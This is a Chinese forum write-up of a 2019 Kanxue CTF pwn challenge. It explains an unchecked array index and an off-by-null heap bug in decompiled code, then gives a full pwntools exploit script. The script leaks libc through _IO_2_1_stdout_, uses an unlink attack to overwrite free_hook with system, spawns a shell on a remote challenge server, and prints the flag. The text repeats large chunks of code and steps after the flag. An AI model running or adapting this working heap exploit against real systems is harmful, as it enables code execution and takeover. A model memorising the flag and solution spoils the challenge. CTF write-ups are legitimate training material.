首页
社区
课程
招聘
[原创]看雪CTF2019Q3第四题WP
发表于: 2019-9-25 18:23 5950

[原创]看雪CTF2019Q3第四题WP

2019-9-25 18:23
5950

一、漏洞

        存在2个漏洞点,都在编辑函数中
       
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4)
{
  result->global->cmpReg |= a4 & 1;
  result->global->cmpReg |= a4 & 0x800;
  if ( (signed int)subValue <= 0 || subValue >> (size - 1) )
  {
    if ( subValue )
    {
      result->global->cmpReg |= 0x80u;          // 小于标志
      result->global->cmpReg &= 0xFFFFFFBF;
    }
    else
    {
      result->global->cmpReg &= 0xFFFFFF7F;
      result->global->cmpReg |= 0x40u;          // 等于标志
    }
  }
  else
  {
    result->global->cmpReg &= 0xFFFFFF7F;
    result->global->cmpReg &= 0xFFFFFFBF;
  }
  if ( !(subValue & 1) )
    result->global->cmpReg |= 4u;
  result->global->cmpReg1 = result->global->cmpReg;
  return result;
}
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。

char *__fastcall readBuf(char *buf, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 8uLL);
  for ( i = 0; i < size; ++i )
  {
    if ( read(0, &s, 1uLL) <= 0 )
      exit(1);
    if ( s == 0xA )
      break;
    buf[i] = s;
  }
  result = (char *)(unsigned int)i;
  if ( i == size )
  {
    result = &buf[i];
    *result = 0;
  }
  return result;
}
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
      输入索引-6后可以更改 _IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先 _IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
ayload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
其中thunk_ptr = pwn_base + globalVar_offset + 0x38
5、删除4号内存
使得3号内存数组指针执行2号内存地址
6、编辑3号内存,使得2号内存指向想要写的地址,就可以实现任意地址写。
三脚本
#!/usr/bin/python

# coding:utf-8

from pwn import *

from zio import *

#context(log_level='debug')

__malloc_hook_ptr_offset = 0x3C3EF0


libc_base = 0
system_offset = 0x45390
freehookBk_offset = 0x202058
globalVar_offset = 0x202080




def menu(cmd):

	io.sendlineafter("4.quit",str(cmd))



def add(size):

	menu(1)

	io.sendlineafter("Input size : ",str(size))


def delete(index):

	menu(2)

	io.sendlineafter("Input idx : ",str(index))
	

def edit(index,data):

	menu(3)

	io.sendlineafter("Input idx : ",str(index))

	io.sendlineafter("Input text : ",data)

if __name__ == '__main__' :

	#io = process('./pwn')
	io = remote('154.8.174.214', 10001)


	#get libcBase

	edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')

	data = u64(io.recv(6).ljust(8,'\x00'))

    	libc_base = data - 0x3C56A4

	print 'libc_base = '+ str(hex(libc_base))
	system_addr = libc_base + system_offset
	print 'system_addr = '+ str(hex(system_addr))

	#get pwn base
	__malloc_hook_ptr = libc_base + __malloc_hook_ptr_offset
	print '__malloc_hook_ptr = ' + str(hex(__malloc_hook_ptr))

	edit(-6, p64(0xfbad1800)+p64(0x0)*3+ p64(__malloc_hook_ptr))

	pwn_malloc_hook_ptr = u64(io.recv(6).ljust(8,'\x00'))

	print 'pwn_malloc_hook_ptr = '+ str(hex(pwn_malloc_hook_ptr))
	pwn_base = pwn_malloc_hook_ptr - 0x202020
	print 'pwn_base = '+ str(hex(pwn_base))
	
	thunk_ptr = pwn_base + globalVar_offset + 0x38
	feehookBk_addr = pwn_base + freehookBk_offset
	print 'thunk_ptr = '+ str(hex(thunk_ptr))
	print 'feehookBk_addr = '+ str(hex(feehookBk_addr))

 	add(248)

	add(248)

	add(248)

	add(248)

	add(248)
	add(248)
	print 'add ok'
	payload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
	edit(3, payload)
	print 'delete 4'	
	delete(4)

	payload = p64(0xF8) + p64(feehookBk_addr)
	edit(3, payload)
	print 'feehookBk_addr ok'
	payload = p64(system_addr)
	edit(2, payload)
	print 'system call ok'
	edit(1, '/bin/sh\x00')
	print 'shell bin'
	delete(1)
	
	print 'get shell'
	io.interactive()


 	#gdb.attach(proc.pidof(io)[0])

    	print 'pause...'



 

    

        

四: flag = flag{4ca9ae5d7c835994cc62d34f92ef95ce}



struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4)
{
  result->global->cmpReg |= a4 & 1;
  result->global->cmpReg |= a4 & 0x800;
  if ( (signed int)subValue <= 0 || subValue >> (size - 1) )
  {
    if ( subValue )
    {
      result->global->cmpReg |= 0x80u;          // 小于标志
      result->global->cmpReg &= 0xFFFFFFBF;
    }
    else
    {
      result->global->cmpReg &= 0xFFFFFF7F;
      result->global->cmpReg |= 0x40u;          // 等于标志
    }
  }
  else
  {
    result->global->cmpReg &= 0xFFFFFF7F;
    result->global->cmpReg &= 0xFFFFFFBF;
  }
  if ( !(subValue & 1) )
    result->global->cmpReg |= 4u;
  result->global->cmpReg1 = result->global->cmpReg;
  return result;
}
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。

char *__fastcall readBuf(char *buf, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 8uLL);
  for ( i = 0; i < size; ++i )
  {
    if ( read(0, &s, 1uLL) <= 0 )
      exit(1);
    if ( s == 0xA )
      break;
    buf[i] = s;
  }
  result = (char *)(unsigned int)i;
  if ( i == size )
  {
    result = &buf[i];
    *result = 0;
  }
  return result;
}
二、漏洞利用
char *__fastcall readBuf(char *buf, int size)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 8uLL);
  for ( i = 0; i < size; ++i )
  {
    if ( read(0, &s, 1uLL) <= 0 )
      exit(1);
    if ( s == 0xA )
      break;
    buf[i] = s;
  }
  result = (char *)(unsigned int)i;
  if ( i == size )
  {
    result = &buf[i];
    *result = 0;
  }
  return result;
}
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
      输入索引-6后可以更改 _IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先 _IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//